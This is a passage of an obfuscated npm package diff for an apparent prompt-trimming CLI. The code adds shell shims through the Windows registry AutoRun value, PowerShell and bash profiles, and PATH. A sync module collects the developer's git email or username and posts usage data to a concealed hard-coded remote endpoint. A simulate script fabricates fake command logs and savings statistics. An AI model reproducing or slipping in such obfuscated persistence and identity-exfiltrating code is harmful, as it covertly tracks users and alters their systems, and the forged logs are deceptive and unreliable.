_0x108ebc='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x1ff36d+_0x9360f(0x1b8);_0x41b74a=_0x3c21c9(_0x9360f(0x1dc),[_0x9360f(0x194),_0x9360f(0x1ac),_0x108ebc],{'encoding':_0x9360f(0x1bd),'stdio':[_0x9360f(0x1d0),_0x9360f(0x1d0),_0x9360f(0x18f)]})['trim']();}catch{}if(!_0x41b74a[_0x9360f(0x1ab)](_0x22f41f)){const _0x3f0d65=_0x41b74a?_0x41b74a+'\x20&\x20'+_0x3261e5:_0x3261e5,_0x3e28e1=_0x9360f(0x1c1)+_0x1ff36d+_0x9360f(0x1af)+_0x1ff36d+_0x9360f(0x198)+_0x3f0d65+'\x27';_0x3c21c9(_0x9360f(0x1dc),[_0x9360f(0x194),_0x9360f(0x1ac),_0x3e28e1],{'stdio':'ignore'});}}catch{}try{const _0x4c4d7a=_0x22f41f[_0x9360f(0x18e)](/\\/g,'/')['replace'](/^([A-Za-z]):/,(_0x304948,_0x35dece)=>'/'+_0x35dece[_0x9360f(0x195)]()),_0x395173=_0x9360f(0x1bc)+PROFILE_MARKER+_0x9360f(0x1ae)+_0x4c4d7a+_0x9360f(0x1a8),_0x21cebb=getBashProfilesWindows();let _0x1cad18=![];for(const _0x189537 of _0x21cebb){fs['existsSync'](_0x189537)&&(ensureProfileContains(_0x189537,_0x4c4d7a,_0x395173),_0x1cad18=!![]);}!_0x1cad18&&ensureProfileContains(_0x21cebb[0x0],_0x4c4d7a,_0x395173);}catch{}const _0x215f4c='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x42c8fe=_0x4822b1(_0x9360f(0x1de)+_0x215f4c+'\x22',{'encoding':_0x9360f(0x1bd),'stdio':['pipe',_0x9360f(0x1d0),'ignore']})[_0x9360f(0x1d7)]();if(!_0x42c8fe[_0x9360f(0x1ab)](_0x22f41f)){const _0x5a0894=_0x22f41f+';'+_0x42c8fe,_0x591777=_0x5a0894['replace'](/'/g,'\x27\x27'),_0x3d7e23=_0x9360f(0x1d3)+_0x591777+_0x9360f(0x17f);_0x4822b1(_0x9360f(0x1de)+_0x3d7e23+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}const _0x557e4e=path['join'](process.env.APPDATA||'','npm',_0x9360f(0x1be));if(fs[_0x9360f(0x1da)](_0x557e4e))try{fs['unlinkSync'](_0x557e4e);}catch{}_0x210f84=!![];}catch(_0xf4b236){_0x5181d5='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0x22f41f;}else try{const _0x5c6c21=_0x9360f(0x19b)+_0x22f41f+':$PATH\x22\x0a',_0x4e57ee=os['homedir'](),_0x145904=[_0x9360f(0x1c7),_0x9360f(0x181),_0x9360f(0x1bb),'.profile'];let _0x11999a=![];for(const _0x40a1b3 of _0x145904){const _0x1573a5=path[_0x9360f(0x1b9)](_0x4e57ee,_0x40a1b3);fs['existsSync'](_0x1573a5)&&(ensureProfileContains(_0x1573a5,_0x22f41f,_0x9360f(0x1bc)+PROFILE_MARKER+'\x0a'+_0x5c6c21),_0x11999a=!![]);}if(!_0x11999a){const _0x583885=path[_0x9360f(0x1b9)](_0x4e57ee,_0x9360f(0x1c7));ensureProfileContains(_0x583885,_0x22f41f,_0x9360f(0x1bc)+PROFILE_MARKER+'\x0a'+_0x5c6c21);}_0x210f84=!![];}catch(_0x69dfb5){_0x5181d5=_0x9360f(0x1c4)+_0x22f41f+_0x9360f(0x1f0);}const _0x25cc56=_0x9360f(0x1ca)+SHIMMED_COMMANDS[_0x9360f(0x19f)]+_0x9360f(0x1ad),_0x50c512=_0x210f84?_0x25cc56+_0x9360f(0x1e1):_0x25cc56+_0x9360f(0x1d5)+_0x5181d5;return{'success':!![],'pathDir':_0x22f41f,'message':_0x50c512};}catch(_0x46c0f2){return{'success':![],'pathDir':_0x22f41f,'message':_0x9360f(0x1aa)+_0x46c0f2[_0x9360f(0x1a4)]};}}function uninstallShims(){const _0xbd37d3=a0_0x1c764b,_0x35a675=path[_0xbd37d3(0x1b9)](os[_0xbd37d3(0x1e8)](),'.trimprompt',_0xbd37d3(0x1a7)),_0xbbeeab=os[_0xbd37d3(0x193)]()===_0xbd37d3(0x187);try{if(_0xbbeeab){const _0xc484f0=getExecSync();try{const _0x5eca62=getExecFileSync(),_0x572fda=_0xbd37d3(0x192),_0x4076b4='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x572fda+_0xbd37d3(0x1b8),_0x405665=_0x5eca62(_0xbd37d3(0x1dc),[_0xbd37d3(0x194),_0xbd37d3(0x1ac),_0x4076b4],{'encoding':_0xbd37d3(0x1bd),'stdio':['pipe',_0xbd37d3(0x1d0),_0xbd37d3(0x18f)]})['trim']();if(_0x405665[_0xbd37d3(0x1ab)](_0x35a675)){const _0x515b38=_0x405665['split'](_0xbd37d3(0x1b7))[_0xbd37d3(0x1bf)](_0x4fc5b6=>!_0x4fc5b6['includes'](_0x35a675));if(_0x515b38[_0xbd37d3(0x19f)]===0x0){const _0x1ba497=_0xbd37d3(0x1f5)+_0x572fda+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue';_0x5eca62(_0xbd37d3(0x1dc),[_0xbd37d3(0x194),'-Command',_0x1ba497],{'stdio':_0xbd37d3(0x18f)});}else{const _0x5e3d75=_0x515b38[_0xbd37d3(0x1b9)](_0xbd37d3(0x1b7)),_0xe32646='Set-ItemProperty\x20-Path\x20\x27'+_0x572fda+_0xbd37d3(0x198)+_0x5e3d75+'\x27';_0x5eca62(_0xbd37d3(0x1dc),[_0xbd37d3(0x194),_0xbd37d3(0x1ac),_0xe32646],{'stdio':_0xbd37d3(0x18f)});}}}catch{}try{const _0x2dba32=collectPowerShellProfiles();for(const _0x4915b8 of _0x2dba32){removeProfileBlock(_0x4915b8,PROFILE_MARKER);}}catch{}try{for(const _0x2e7c28 of getBashProfilesWindows()){removeProfileBlock(_0x2e7c28,PROFILE_MARKER);}}catch{}try{const _0x2b3c41=_0xbd37d3(0x1b3),_0x8fcf4e=_0xc484f0(_0xbd37d3(0x1de)+_0x2b3c41+'\x22',{'encoding':_0xbd37d3(0x1bd),'stdio':[_0xbd37d3(0x1d0),'pipe','ignore']})[_0xbd37d3(0x1d7)]();if(_0x8fcf4e['includes'](_0x35a675)){const _0x257617=_0x8fcf4e[_0xbd37d3(0x1ce)](';')[_0xbd37d3(0x1bf)](_0x4a147d=>_0x4a147d['trim']()['toLowerCase']()!==_0x35a675[_0xbd37d3(0x195)]())[_0xbd37d3(0x1b9)](';'),_0xdd5fe8=_0x257617['replace'](/'/g,'\x27\x27'),_0x54e8a1=_0xbd37d3(0x1d3)+_0xdd5fe8+'\x27,\x20\x27User\x27)';_0xc484f0(_0xbd37d3(0x1de)+_0x54e8a1+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0xbd37d3(0x18f)});}}catch{}}else{const _0x176a02=os['homedir'](),_0x3acf2e=[_0xbd37d3(0x1c7),_0xbd37d3(0x181),_0xbd37d3(0x1bb),_0xbd37d3(0x1e5)];for(const _0x2dffa8 of _0x3acf2e){removeProfileBlock(path[_0xbd37d3(0x1b9)](_0x176a02,_0x2dffa8),PROFILE_MARKER);}}if(fs[_0xbd37d3(0x1da)](_0x35a675)){const _0x1ae43f=fs[_0xbd37d3(0x1d1)](_0x35a675);for(const _0x1c4f7c of _0x1ae43f){fs['unlinkSync'](path['join'](_0x35a675,_0x1c4f7c));}fs[_0xbd37d3(0x1ec)](_0x35a675);}return{'success':!![],'message':_0xbd37d3(0x197)};}catch(_0x40056e){return{'success':![],'message':_0xbd37d3(0x189)+_0x40056e[_0xbd37d3(0x1a4)]};}}
|
package/simulate.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';function
|
|
1
|
+
'use strict';const a0_0xfa6a0=a0_0x2903;function a0_0x2903(_0x4beeb9,_0x178111){_0x4beeb9=_0x4beeb9-0x132;const _0x51f8e3=a0_0x51f8();let _0x290387=_0x51f8e3[_0x4beeb9];return _0x290387;}(function(_0x4a51b3,_0x3cf7f3){const _0x300b5a=a0_0x2903,_0x59c658=_0x4a51b3();while(!![]){try{const _0x513457=parseInt(_0x300b5a(0x146))/0x1*(parseInt(_0x300b5a(0x135))/0x2)+-parseInt(_0x300b5a(0x13b))/0x3*(-parseInt(_0x300b5a(0x14a))/0x4)+parseInt(_0x300b5a(0x144))/0x5*(parseInt(_0x300b5a(0x13e))/0x6)+parseInt(_0x300b5a(0x141))/0x7+parseInt(_0x300b5a(0x165))/0x8*(parseInt(_0x300b5a(0x15c))/0x9)+-parseInt(_0x300b5a(0x136))/0xa+-parseInt(_0x300b5a(0x148))/0xb*(parseInt(_0x300b5a(0x156))/0xc);if(_0x513457===_0x3cf7f3)break;else _0x59c658['push'](_0x59c658['shift']());}catch(_0x41ae58){_0x59c658['push'](_0x59c658['shift']());}}}(a0_0x51f8,0xcb6a4));function a0_0x51f8(){const _0xa8eac8=['now','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','177CKNGzJ','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','length','6568386KNNFpG','log','git\x20log\x20-n\x205','11328912pozfIj','npm\x20install\x20lodash\x20express\x20uuid\x20react','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','5oHIFYA','floor','337EACDJN','__esModule','33RmXGed','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','39404xCoMAC','utf8','test\x20tests::test_case_','homedir','gemini-1-5-pro','kubectl\x20get\x20pods\x20-n\x20production','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','timestamp','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','logExecution','toISOString','exitCode','18975396imKBHb','gemini-1-5-flash','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','pip\x20install\x20tensorflow\x20pandas\x20numpy','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','repeat','9ufFULN','cargo\x20test','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','getLogs','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','.trimprompt','random','path','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','12203408kJkIZQ','cmd','tracker','defineProperty','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','stringify','npm\x20run\x20lint','git\x20diff\x20main','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','writeFileSync','npm\x20run\x20lint:\x20✖\x202\x20warnings','stats.json','cargo\x20test:\x2045\x20passed,\x200\x20failed.','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','7604nzgfGk','5240190uhxzwU'];a0_0x51f8=function(){return _0xa8eac8;};return a0_0x51f8();}Object[a0_0xfa6a0(0x168)](exports,a0_0xfa6a0(0x147),{'value':!![]});const tracker_1=require('./tracker');console[a0_0xfa6a0(0x13f)]('Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...');const models=['claude-3-5-sonnet','gpt-4o','gpt-4o-mini',a0_0xfa6a0(0x14e),a0_0xfa6a0(0x157),'claude-3-opus'],commands=[{'cmd':a0_0xfa6a0(0x16e),'raw':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'['repeat'](0x32),'comp':a0_0xfa6a0(0x169),'exitCode':0x0},{'cmd':a0_0xfa6a0(0x15d),'raw':a0_0xfa6a0(0x134)+a0_0xfa6a0(0x14c)[a0_0xfa6a0(0x15b)](0x28)+a0_0xfa6a0(0x138),'comp':a0_0xfa6a0(0x133),'exitCode':0x0},{'cmd':a0_0xfa6a0(0x142),'raw':a0_0xfa6a0(0x16f)+'added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a'+'found\x200\x20vulnerabilities\x0a','comp':'npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','exitCode':0x0},{'cmd':a0_0xfa6a0(0x139),'raw':'upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a'+a0_0xfa6a0(0x143)+a0_0xfa6a0(0x13a)+'Completed\x203\x20of\x203\x20assets\x20successfully.','comp':a0_0xfa6a0(0x16b),'exitCode':0x0},{'cmd':a0_0xfa6a0(0x14f),'raw':'NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a'+'trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a'+a0_0xfa6a0(0x150)+a0_0xfa6a0(0x16a)+a0_0xfa6a0(0x158),'comp':a0_0xfa6a0(0x15e),'exitCode':0x0},{'cmd':a0_0xfa6a0(0x159),'raw':a0_0xfa6a0(0x13c)+a0_0xfa6a0(0x164)+a0_0xfa6a0(0x160),'comp':'pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','exitCode':0x0},{'cmd':a0_0xfa6a0(0x140),'raw':'commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a'+a0_0xfa6a0(0x15a),'comp':a0_0xfa6a0(0x152),'exitCode':0x0},{'cmd':a0_0xfa6a0(0x16d),'raw':'src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a'+'src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a'+a0_0xfa6a0(0x149),'comp':a0_0xfa6a0(0x171),'exitCode':0x0}],startTime=Date[a0_0xfa6a0(0x137)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models['length']],commandItem=commands[Math[a0_0xfa6a0(0x145)](Math[a0_0xfa6a0(0x162)]()*commands[a0_0xfa6a0(0x13d)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0xfa6a0(0x154)](),log=tracker_1[a0_0xfa6a0(0x167)][a0_0xfa6a0(0x153)](commandItem[a0_0xfa6a0(0x166)],commandItem['raw'],commandItem['comp'],commandItem[a0_0xfa6a0(0x155)]),logs=tracker_1[a0_0xfa6a0(0x167)][a0_0xfa6a0(0x15f)]();logs[a0_0xfa6a0(0x13d)]>0x0&&(logs[logs[a0_0xfa6a0(0x13d)]-0x1][a0_0xfa6a0(0x151)]=timestamp,require('fs')[a0_0xfa6a0(0x170)](require(a0_0xfa6a0(0x163))['join'](require('os')[a0_0xfa6a0(0x14d)](),a0_0xfa6a0(0x161),a0_0xfa6a0(0x132)),JSON[a0_0xfa6a0(0x16c)](logs,null,0x2),a0_0xfa6a0(0x14b)));}console[a0_0xfa6a0(0x13f)]('workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.');
|
package/sync.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x5906b7=a0_0x58a3;(function(_0xd276a1,_0x3d9b1c){const _0x56967e=a0_0x58a3,_0x258be2=_0xd276a1();while(!![]){try{const _0x10ffe0=-parseInt(_0x56967e(0x110))/0x1+-parseInt(_0x56967e(0x10f))/0x2+-parseInt(_0x56967e(0xce))/0x3*(-parseInt(_0x56967e(0x100))/0x4)+-parseInt(_0x56967e(0x12c))/0x5+parseInt(_0x56967e(0x122))/0x6*(-parseInt(_0x56967e(0x123))/0x7)+parseInt(_0x56967e(0x107))/0x8*(parseInt(_0x56967e(0x118))/0x9)+parseInt(_0x56967e(0xee))/0xa*(parseInt(_0x56967e(0xfa))/0xb);if(_0x10ffe0===_0x3d9b1c)break;else _0x258be2['push'](_0x258be2['shift']());}catch(_0x4c629d){_0x258be2['push'](_0x258be2['shift']());}}}(a0_0x35dc,0x854ff));function a0_0x35dc(){const _0x469b01=['slice','pipe','push','2057840kIUfVv','estimated_raw_tokens','getOwnPropertyNames','Gemini\x201.5\x20Pro','write','parse','118305ihXZnl','https://','URL','timeout','getOwnPropertyDescriptor','length','search','POST','platform','existsSync','defineProperty','round','path','sort','catch','anonymous','filter','join','readFileSync','userInfo','username','https','daily_sync.json','homedir','GPT-4o\x20Mini','startsWith','toISOString','command','__setModuleDefault','.up.railway.app','executions','includes','20VosJRQ','ignore','split','byteLength','prototype','git\x20config\x20user.email','pathname','port','comp','configurable','add','claude-3-5-sonnet','11926783hkXNlX','unlinkSync','toFixed','https:','unknown','__importStar','28OHgKkL','ai_detected','.comp.txt','from','last_sync_date','hostname','call','144424LIWiBJ','config.json','destroy','estimated_compressed_tokens','raw','application/json','error','.trimprompt','1397274USofWD','759256iBIXpA','create','model_used','writeFileSync','timestamp','logs','get','GPT-4o','72HQELlI','trimp-production','map','Claude\x203\x20Opus','synced','utf8','tokens_saved','protocol','trim','toString','1040802JOYYrJ','7BtmMIr','__esModule','getTime','count','stringify','statusCode'];a0_0x35dc=function(){return _0x469b01;};return a0_0x35dc();}var __createBinding=this&&this['__createBinding']||(Object['create']?function(_0x1e58a4,_0x2feebd,_0x1b6156,_0xfd9ab4){const _0x1b0ae9=a0_0x58a3;if(_0xfd9ab4===undefined)_0xfd9ab4=_0x1b6156;var _0x529541=Object[_0x1b0ae9(0xd2)](_0x2feebd,_0x1b6156);(!_0x529541||(_0x1b0ae9(0x116)in _0x529541?!_0x2feebd[_0x1b0ae9(0x124)]:_0x529541['writable']||_0x529541[_0x1b0ae9(0xf7)]))&&(_0x529541={'enumerable':!![],'get':function(){return _0x2feebd[_0x1b6156];}}),Object[_0x1b0ae9(0xd8)](_0x1e58a4,_0xfd9ab4,_0x529541);}:function(_0x516b20,_0x139a26,_0x5ed611,_0x1c6514){if(_0x1c6514===undefined)_0x1c6514=_0x5ed611;_0x516b20[_0x1c6514]=_0x139a26[_0x5ed611];}),__setModuleDefault=this&&this[a0_0x5906b7(0xea)]||(Object[a0_0x5906b7(0x111)]?function(_0x3b66c9,_0x3a51d4){const _0x33cc94=a0_0x5906b7;Object[_0x33cc94(0xd8)](_0x3b66c9,'default',{'enumerable':!![],'value':_0x3a51d4});}:function(_0x16fff5,_0x32fa3e){_0x16fff5['default']=_0x32fa3e;}),__importStar=this&&this[a0_0x5906b7(0xff)]||(function(){var _0x16fe12=function(_0xdcbdae){const _0x19c5cf=a0_0x58a3;return _0x16fe12=Object[_0x19c5cf(0xca)]||function(_0x58a102){const _0x1a3eb0=_0x19c5cf;var _0x38d6b1=[];for(var _0x3b6d5 in _0x58a102)if(Object[_0x1a3eb0(0xf2)]['hasOwnProperty'][_0x1a3eb0(0x106)](_0x58a102,_0x3b6d5))_0x38d6b1[_0x38d6b1[_0x1a3eb0(0xd3)]]=_0x3b6d5;return _0x38d6b1;},_0x16fe12(_0xdcbdae);};return function(_0x5c6aff){const _0x2052e3=a0_0x58a3;if(_0x5c6aff&&_0x5c6aff[_0x2052e3(0x124)])return _0x5c6aff;var _0xbb4c9b={};if(_0x5c6aff!=null){for(var _0x4e7326=_0x16fe12(_0x5c6aff),_0x1d8693=0x0;_0x1d8693<_0x4e7326['length'];_0x1d8693++)if(_0x4e7326[_0x1d8693]!=='default')__createBinding(_0xbb4c9b,_0x5c6aff,_0x4e7326[_0x1d8693]);}return __setModuleDefault(_0xbb4c9b,_0x5c6aff),_0xbb4c9b;};}());Object['defineProperty'](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x5906b7(0xda))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require(a0_0x5906b7(0xe3))),url_1=require('url'),_cfg=[a0_0x5906b7(0xcf),a0_0x5906b7(0x119),a0_0x5906b7(0xeb),'/api/telemetry']['join'](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x5906b7(0x11b),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x5906b7(0x117),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x5906b7(0xe6),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x5906b7(0xcb),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path['join'](os[a0_0x5906b7(0xe5)](),a0_0x5906b7(0x10e)),configPath=path['join'](baseDir,a0_0x5906b7(0x108)),statsPath=path[a0_0x5906b7(0xdf)](baseDir,'stats.json'),dailySyncPath=path[a0_0x5906b7(0xdf)](baseDir,a0_0x5906b7(0xe4));function a0_0x58a3(_0x2acd85,_0x5f5815){_0x2acd85=_0x2acd85-0xca;const _0x35dcef=a0_0x35dc();let _0x58a3f0=_0x35dcef[_0x2acd85];return _0x58a3f0;}function getTodayDate(){const _0x509e70=a0_0x5906b7;return new Date()[_0x509e70(0xe8)]()[_0x509e70(0xf0)]('T')[0x0];}function getDeveloperIdentity(){const _0x251cb2=a0_0x5906b7;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x30f8e8}=require('child_process'),_0x356fca=_0x30f8e8(_0x251cb2(0xf3),{'stdio':[_0x251cb2(0xef),_0x251cb2(0x12a),'ignore']})[_0x251cb2(0x121)]()[_0x251cb2(0x120)]();if(_0x356fca&&_0x356fca[_0x251cb2(0xed)]('@'))return _0x356fca;}catch{}try{const _0x23de4b=os[_0x251cb2(0xe1)]()[_0x251cb2(0xe2)];if(_0x23de4b)return _0x23de4b;}catch{}return _0x251cb2(0xdd);}function hasAlreadySyncedToday(){const _0x5c3cbd=a0_0x5906b7;try{if(!fs[_0x5c3cbd(0xd7)](dailySyncPath))return![];const _0x1f42a8=JSON[_0x5c3cbd(0xcd)](fs[_0x5c3cbd(0xe0)](dailySyncPath,_0x5c3cbd(0x11d)));return _0x1f42a8[_0x5c3cbd(0x104)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x364593=a0_0x5906b7;try{const _0x7a6c4c={'last_sync_date':getTodayDate()};fs['writeFileSync'](dailySyncPath,JSON[_0x364593(0x127)](_0x7a6c4c,null,0x2),_0x364593(0x11d));}catch{}}function postTelemetry(_0x2bc921,_0x48f696){return new Promise(_0x103d0b=>{const _0x21d47c=a0_0x58a3;try{const _0x47c1dc=new url_1[(_0x21d47c(0xd0))](_0x2bc921),_0x40c311=JSON['stringify'](_0x48f696),_0x752b1d={'hostname':_0x47c1dc[_0x21d47c(0x105)],'port':_0x47c1dc[_0x21d47c(0xf5)]||(_0x47c1dc['protocol']==='https:'?0x1bb:0x50),'path':_0x47c1dc[_0x21d47c(0xf4)]+_0x47c1dc[_0x21d47c(0xd4)],'method':_0x21d47c(0xd5),'headers':{'Content-Type':_0x21d47c(0x10c),'Content-Length':Buffer[_0x21d47c(0xf1)](_0x40c311)},'timeout':0x1f40},_0x1eb4cc=_0x47c1dc[_0x21d47c(0x11f)]===_0x21d47c(0xfd)?https:http,_0x49aa2c=_0x1eb4cc['request'](_0x752b1d,_0x3524b6=>{const _0x2f3b4c=_0x21d47c;_0x103d0b(!!(_0x3524b6[_0x2f3b4c(0x128)]&&_0x3524b6[_0x2f3b4c(0x128)]>=0xc8&&_0x3524b6[_0x2f3b4c(0x128)]<0x12c));});_0x49aa2c['on'](_0x21d47c(0x10d),()=>_0x103d0b(![])),_0x49aa2c['on'](_0x21d47c(0xd1),()=>{const _0x2ce147=_0x21d47c;_0x49aa2c[_0x2ce147(0x109)](),_0x103d0b(![]);}),_0x49aa2c[_0x21d47c(0xcc)](_0x40c311),_0x49aa2c['end']();}catch{_0x103d0b(![]);}});}function buildDailyPayload(_0x4b54be){const _0x48b75d=a0_0x5906b7,_0x1ff15d=getTodayDate(),_0x1cae29=_0x4b54be[_0x48b75d(0xde)](_0x156f5d=>_0x156f5d[_0x48b75d(0x114)][_0x48b75d(0xe7)](_0x1ff15d)),_0x47c27e=_0x1cae29[_0x48b75d(0xd3)]>0x0?_0x1cae29:_0x4b54be,_0x4b5968=_0x47c27e['filter'](_0x5ac005=>_0x5ac005[_0x48b75d(0x101)]!==![]);let _0x4bbc2e=0x0,_0x21da0f=0x0,_0x2fe930=0x0,_0x390bc0=0x0;const _0x15e2d1=new Set(),_0x4625ba={};for(const _0x9dfad0 of _0x4b5968){_0x4bbc2e+=_0x9dfad0[_0x48b75d(0x12d)],_0x21da0f+=_0x9dfad0[_0x48b75d(0x10a)],_0x2fe930+=_0x9dfad0[_0x48b75d(0x11e)],_0x15e2d1[_0x48b75d(0xf8)](_0x9dfad0[_0x48b75d(0x112)]);const _0x2aaad7=PRICING[_0x9dfad0[_0x48b75d(0x112)]]||PRICING[_0x48b75d(0xf9)];_0x390bc0+=_0x9dfad0[_0x48b75d(0x11e)]*_0x2aaad7['input_price_1m']/0xf4240;const _0x1ecd1=_0x9dfad0[_0x48b75d(0xe9)]||_0x48b75d(0xfe);if(!_0x4625ba[_0x1ecd1])_0x4625ba[_0x1ecd1]={'raw':0x0,'comp':0x0,'count':0x0};_0x4625ba[_0x1ecd1][_0x48b75d(0x10b)]+=_0x9dfad0[_0x48b75d(0x12d)],_0x4625ba[_0x1ecd1][_0x48b75d(0xf6)]+=_0x9dfad0[_0x48b75d(0x10a)],_0x4625ba[_0x1ecd1][_0x48b75d(0x126)]+=0x1;}const _0x40609e=Object['entries'](_0x4625ba)[_0x48b75d(0x11a)](([_0x15fd3b,_0xd45492])=>({'command':_0x15fd3b,'percentage':_0xd45492['raw']>0x0?Math[_0x48b75d(0xd9)]((_0xd45492[_0x48b75d(0x10b)]-_0xd45492['comp'])/_0xd45492['raw']*0x64):0x0,'executions':_0xd45492[_0x48b75d(0x126)]}))[_0x48b75d(0xdb)]((_0x330519,_0x3419ce)=>_0x3419ce[_0x48b75d(0xec)]-_0x330519[_0x48b75d(0xec)])[_0x48b75d(0x129)](0x0,0xa),_0x97f9d1=_0x4b5968[_0x4b5968[_0x48b75d(0xd3)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x48b75d(0xd6)](),'date':_0x1ff15d,'executions_count':_0x4b5968[_0x48b75d(0xd3)],'total_raw_tokens':_0x4bbc2e,'total_compressed_tokens':_0x21da0f,'total_tokens_saved':_0x2fe930,'total_money_saved_usd':parseFloat(_0x390bc0[_0x48b75d(0xfc)](0x6)),'models_used':Array[_0x48b75d(0x103)](_0x15e2d1),'hotspots':_0x40609e,'last_seen':_0x97f9d1?_0x97f9d1[_0x48b75d(0x114)]:new Date()[_0x48b75d(0xe8)]()};}async function runSync(){const _0x28ad42=a0_0x5906b7;if(!fs[_0x28ad42(0xd7)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x11f4b5;try{_0x11f4b5=JSON[_0x28ad42(0xcd)](fs[_0x28ad42(0xe0)](statsPath,_0x28ad42(0x11d)));}catch{return;}const _0x56ebb2=_0x11f4b5['filter'](_0x334e05=>!_0x334e05['synced']);if(_0x56ebb2[_0x28ad42(0xd3)]===0x0)return;const _0x24cf4c=buildDailyPayload(_0x11f4b5);await postTelemetry(_ep,_0x24cf4c);let _0x4e09a7=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x4e09a7&&fs['existsSync'](configPath))try{const 